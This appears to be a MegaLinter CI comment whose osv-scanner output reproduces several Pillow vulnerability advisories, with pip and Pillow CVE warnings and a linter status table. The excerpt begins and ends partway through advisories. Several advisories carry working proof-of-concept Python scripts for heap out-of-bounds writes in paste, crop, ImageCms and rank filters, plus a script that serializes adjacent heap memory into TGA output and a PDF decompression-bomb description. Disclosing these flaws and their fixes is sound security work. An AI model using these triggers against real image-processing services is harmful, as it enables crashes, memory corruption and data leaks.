src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details
- Location:
src/libImaging/Jpeg2KDecode.c:853 - Root cause:
total_component_widthis initialized only once before the tile loop and keeps growing across tiles. It is then used to derivetile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation:
tile_bytesis promoted intotile_info.data_size, thenstate->bufferis grown withreallocatsrc/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal
Image.open(...).load()decoding.
PoC
The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip
Generate the testcase:
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832Expected geometry from the helper:
- image size:
3664 x 3664 - mode:
RGBA - tile size:
1832 x 1832(2x2tiles) image_bytes=53699584- uncapped RSS observed:
- vulnerable build:
maxrss_kb=180264 - fixed comparison build:
maxrss_kb=138404
- vulnerable build:
Load it with the current vulnerable build:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2Load it again under a 160 MB address-space cap:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
warning: Package 'pip@9.0.3' is vulnerable to 'CVE-2026-13346' (also known as 'PYSEC-2026-3721', 'GHSA-qwm4-qh6w-59xr').
= CVE-2026-13346: pip would incorrectly handle doubly-encoded package URLs from indexes
= pip would incorrectly handle doubly-encoded package URLs from indexes allowing for files to be installed to arbitrary locations on disk even when installing wheels.
This vulnerability requires downloading or installing a package from a malicious package index to succeed, malicious packages alone are not able to exploit this vulnerability. Note that this vulnerability only materially impacts users running pip download with the --only-binary option as installing source distributions from an untrusted index is already an unsafe operation that executes code during install time.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2023-50447' (also known as 'BIT-pillow-2023-50447', 'PYSEC-2026-457', 'GHSA-3f63-hfp8-52jq').
= CVE-2023-50447: Arbitrary Code Execution in Pillow
= Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).
warning: 67 warnings emitted
(Truncated to last 40000 characters out of 202634)
</details>
### Notices
⚠️ Your configuration references items that have been removed from MegaLinter and are ignored: `REPOSITORY_KICS`, `TERRAFORM_TERRASCAN`. See [Removed linters](https://megalinter.io/10.1.0/removed-linters/) to find their replacements.
See detailed reports in [MegaLinter artifacts](https://github.com/yxtay/databricks-container/actions/runs/37100964042)
Your project could benefit from a custom flavor, which would allow you to run only the linters you need, and thus improve runtime performances. (Skip this info by defining `FLAVOR_SUGGESTIONS: false`)
- Documentation: [Custom Flavors](https://megalinter.io/10.1.0/custom-flavors/)
- Command: `npx mega-linter-runner@10.1.0 --custom-flavor-setup --custom-flavor-linters COPYPASTE_JSCPD,DOCKERFILE_HADOLINT,JSON_V8R,JSON_PRETTIER,REPOSITORY_GIT_DIFF,REPOSITORY_BETTERLEAKS,REPOSITORY_OSV_SCANNER,REPOSITORY_SECRETLINT,REPOSITORY_SYFT,REPOSITORY_TRIVY,REPOSITORY_TRIVY_SBOM,REPOSITORY_TRUFFLEHOG,YAML_PRETTIER,YAML_YAMLLINT,YAML_V8R`
[](https://www.ox.security/?ref=megalinter)
Show us your support by [**starring ⭐ the repository**](https://github.com/oxsecurity/megalinter)
<!-- megalinter: github-comment-reporter workflow='megalinter' jobid='ci_light' -->
✅
|
| Descriptor | Linter | Files | Fixed | Errors | Max errors | Warnings | Elapsed time |
|---|---|---|---|---|---|---|---|
| ✅ DOCKERFILE | hadolint | 1 | 0 | 0 | 0.22s | ||
| ✅ REPOSITORY | betterleaks | yes | no | no | 0.72s | ||
| ✅ REPOSITORY | devskim | yes | no | no | 1.5s | ||
| ✅ REPOSITORY | dustilock | yes | no | no | 1.16s | ||
| osv-scanner | yes | 1 | 67 | 17.55s | |||
| ✅ REPOSITORY | secretlint | yes | no | no | 1.1s | ||
| ✅ REPOSITORY | semgrep | yes | no | no | 13.42s | ||
| ✅ REPOSITORY | syft | yes | no | no | 1.44s | ||
| ✅ REPOSITORY | trivy | yes | no | no | 7.55s | ||
| ✅ REPOSITORY | trivy-sbom | yes | no | no | 0.08s | ||
| ✅ REPOSITORY | trufflehog | yes | no | no | 2.46s |
Detailed Issues
⚠️ REPOSITORY / osv-scanner - 1 error
bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()Run against an ASAN build:
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alphaObserved ASAN signature for the direct Image.paste() path:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
double free or corruption (out)
Aborted (core dumped)
Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59205' (also known as 'BIT-pillow-2026-59205', 'PYSEC-2026-3453', 'GHSA-9hw9-ch79-4vh6').
= CVE-2026-59205: Pillow: Controlled heap out-of-bounds write in Pillow ImageCmsTransform.apply() via output mode mismatch
= ### Summary
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOutIf imOut is provided, Pillow does not check:
im.mode == self.input_mode
imOut.mode == self.output_mode
The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.
For width 4096:
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")Observed locally on Pillow 12.3.0.dev0:
before
after
free(): invalid next size (normal)
Aborted (core dumped)
Controlled overwrite evidence PoC:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)Run under gdb:
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.pyObserved on Pillow 12.3.0.dev0:
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.
Suggested fix
Validate modes before calling into the native transform:
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOutThe C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59197' (also known as 'BIT-pillow-2026-59197', 'PYSEC-2026-3454', 'GHSA-xj96-63gp-2gmr').
= CVE-2026-59197: Pillow: Heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand
= ### Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.
Minimal public API trigger:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.
Details
Current src/PIL/ImageFilter.py:
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}src/libImaging/RankFilter.c does contain checks that would reject this size:
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
return (Imaging)ImagingError_ValueError("filter size too large");
}But those checks are reached only after RankFilter.filter() has already
called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
4-byte write variant with source pixel loaded from normal image bytes:
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))Observed ASAN signature:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
Version checks:
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-54058' (also known as 'BIT-pillow-2026-54058', 'PYSEC-2026-3493', 'GHSA-62p4-gmf7-7g93').
= CVE-2026-54058: Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
= ## Summary
When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.
The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).
Complete Code Trace
Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.
# src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled
if w[11] == 1:
mode = rawmode = "L" # pixelsize 1, in _MAPMODES
elif w[11] == 2:
mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9] # (xsize, ysize) <-- attacker
offset = w[34] + w[15] # <-- attacker
stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.
# src/PIL/ImageFile.py:322-348
if use_mmap: # use_mmap = self.filename and len(self.tile) == 1
decoder_name, extents, offset, args = self.tile[0]
if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
and args[0] == self.mode and args[0] in Image._MAPMODES):
if offset < 0: # only lower-bound guard on offset
raise ValueError("Tile offset cannot be negative")
with open(self.filename) as fp:
self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check
raise OSError("buffer is not large enough")
self.im = Image.core.map_buffer(
self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1)
)Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.
/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
&target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
return NULL;
...
const ModeID mode = findModeID(mode_name); /* "L" */
if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */
if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
else if (isModeI16(mode)) stride = xsize * 2;
else stride = xsize * 4;
}
if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */
if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */
PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
PyBuffer_Release(&view); return NULL;
}
im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */
/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
for (y = 0; y < ysize; y++) {
im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */
}
} else { ... }im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.
Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.
/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path)
↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66]
↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343]
↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134]
↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept
See attached poc.zip
Impact on a Parent Application
Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:
- Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
- Denial of service (High): a larger
xsizereliably crashes the worker with SIGBUS.
Suggested fix
Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59198' (also known as 'BIT-pillow-2026-59198', 'PYSEC-2026-3494', 'GHSA-fj7v-r99m-22gq').
= CVE-2026-59198: Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
= ### Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
im.save(out, format="TGA", compression="tga_rle")Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
bytesPerPixel = (state->bits + 7) / 8;This becomes 1, and the encoder uses pixel indexes as byte offsets:
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob = extract_oob_payload(out.getvalue())
if len(oob) > len(best):
best = oob
with open("/tmp/max_oob_bytes.bin", "wb") as fp:
fp.write(best)
print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")Observed on installed Pillow 12.2.0:
Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
Impact
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59200' (also known as 'BIT-pillow-2026-59200', 'PYSEC-2026-3495', 'GHSA-jjj6-mw9f-p565').
= CVE-2026-59200: Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
= ### Summary
PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details
PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an *initial buffer hint*, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
